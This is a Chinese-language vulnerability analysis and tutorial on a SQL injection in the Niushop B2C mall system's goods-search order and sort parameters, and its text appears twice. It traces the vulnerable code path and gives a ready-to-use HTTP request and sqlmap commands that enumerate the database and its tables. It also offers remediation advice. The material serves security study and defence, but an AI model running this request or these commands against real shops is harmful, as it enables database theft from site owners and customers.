某Shop多用户商场 SQL注入(一)
字数 1077 2025-08-26 22:11:34

Niushop B2C商城系统SQL注入漏洞分析及利用教学文档

0x01 漏洞概述

Niushop B2C商城系统是一款基于ThinkPHP5.0开发的开源商城系统。在系统版本中存在一处SQL注入漏洞,攻击者可通过构造特定的HTTP请求利用此漏洞获取数据库敏感信息。

0x02 漏洞原理分析

漏洞位置

漏洞存在于商品搜索功能中,具体调用链如下:

  1. /Application/wap/Controller/Goods.php 中的 goodsSearchList 方法
  2. /data/service/Goods.php 中的 goodsSearchList 方法
  3. /data/model/NsGoodsViewModel.php 中的 getGoodsViewList 方法
  4. /data/model/BaseModel.php 中的 viewPageQuery 方法

漏洞触发流程

  1. 首先在WAP端的商品控制器中接收用户输入:

    • 从POST请求获取order参数(414行)
    • 从POST请求获取sort参数(416行)
    • 将这两个参数拼接为$orderby变量(427行)
  2. $orderby传入服务层的getGoodsList方法(454行)

  3. 服务层将order参数继续传递给模型层的getGoodsViewList方法(106行)

  4. 模型层最终将未经过滤的order参数直接拼接到SQL查询中(BaseModel.php中的viewPageQuery方法)

关键问题

系统未对用户输入的ordersort参数进行任何过滤或验证,直接将它们拼接到SQL查询中,导致SQL注入漏洞。

0x03 漏洞利用方法

漏洞探测

使用以下HTTP请求进行探测:

POST /index.php?s=/wap/Goods/goodsSearchList HTTP/1.1
Host: [目标地址]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[目标地址]/index.php/wap/goods/goodsSearchList
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Cookie: PHPSESSID=[有效会话ID]; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735
Connection: close
Cache-Control: max-age=0

sear_name=&sear_type=1&order=*&sort=asc&controlType=&shop_id=0&page=1

使用sqlmap自动化利用

  1. 将上述请求保存为niushop.txt文件

  2. 基本探测:

    sqlmap -r niushop.txt --random-agent --batch --dbms "mysql"
    
  3. 获取当前数据库:

    sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" --current-db
    
  4. 获取数据库表:

    sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" -D niushop_b2c --tables
    

0x04 漏洞修复建议

  1. 对用户输入的ordersort参数进行严格过滤,只允许特定的安全字符

  2. 使用预处理语句或参数化查询,避免直接拼接SQL

  3. 实现白名单机制,只允许特定的排序字段

  4. 对输入参数进行类型检查和长度限制

  5. 更新到最新版本的Niushop系统,官方可能已修复此漏洞

0x05 总结

该漏洞是由于未对用户输入进行充分过滤,直接将用户控制的参数拼接到SQL查询中导致的。攻击者可以利用此漏洞获取数据库敏感信息,甚至可能进一步获取系统权限。开发人员应始终对所有用户输入进行严格验证和过滤,特别是在构建SQL查询时。

Niushop B2C商城系统SQL注入漏洞分析及利用教学文档 0x01 漏洞概述 Niushop B2C商城系统是一款基于ThinkPHP5.0开发的开源商城系统。在系统版本中存在一处SQL注入漏洞,攻击者可通过构造特定的HTTP请求利用此漏洞获取数据库敏感信息。 0x02 漏洞原理分析 漏洞位置 漏洞存在于商品搜索功能中,具体调用链如下: /Application/wap/Controller/Goods.php 中的 goodsSearchList 方法 /data/service/Goods.php 中的 goodsSearchList 方法 /data/model/NsGoodsViewModel.php 中的 getGoodsViewList 方法 /data/model/BaseModel.php 中的 viewPageQuery 方法 漏洞触发流程 首先在WAP端的商品控制器中接收用户输入: 从POST请求获取 order 参数(414行) 从POST请求获取 sort 参数(416行) 将这两个参数拼接为 $orderby 变量(427行) 将 $orderby 传入服务层的 getGoodsList 方法(454行) 服务层将 order 参数继续传递给模型层的 getGoodsViewList 方法(106行) 模型层最终将未经过滤的 order 参数直接拼接到SQL查询中(BaseModel.php中的 viewPageQuery 方法) 关键问题 系统未对用户输入的 order 和 sort 参数进行任何过滤或验证,直接将它们拼接到SQL查询中,导致SQL注入漏洞。 0x03 漏洞利用方法 漏洞探测 使用以下HTTP请求进行探测: 使用sqlmap自动化利用 将上述请求保存为 niushop.txt 文件 基本探测: 获取当前数据库: 获取数据库表: 0x04 漏洞修复建议 对用户输入的 order 和 sort 参数进行严格过滤,只允许特定的安全字符 使用预处理语句或参数化查询,避免直接拼接SQL 实现白名单机制,只允许特定的排序字段 对输入参数进行类型检查和长度限制 更新到最新版本的Niushop系统,官方可能已修复此漏洞 0x05 总结 该漏洞是由于未对用户输入进行充分过滤,直接将用户控制的参数拼接到SQL查询中导致的。攻击者可以利用此漏洞获取数据库敏感信息,甚至可能进一步获取系统权限。开发人员应始终对所有用户输入进行严格验证和过滤,特别是在构建SQL查询时。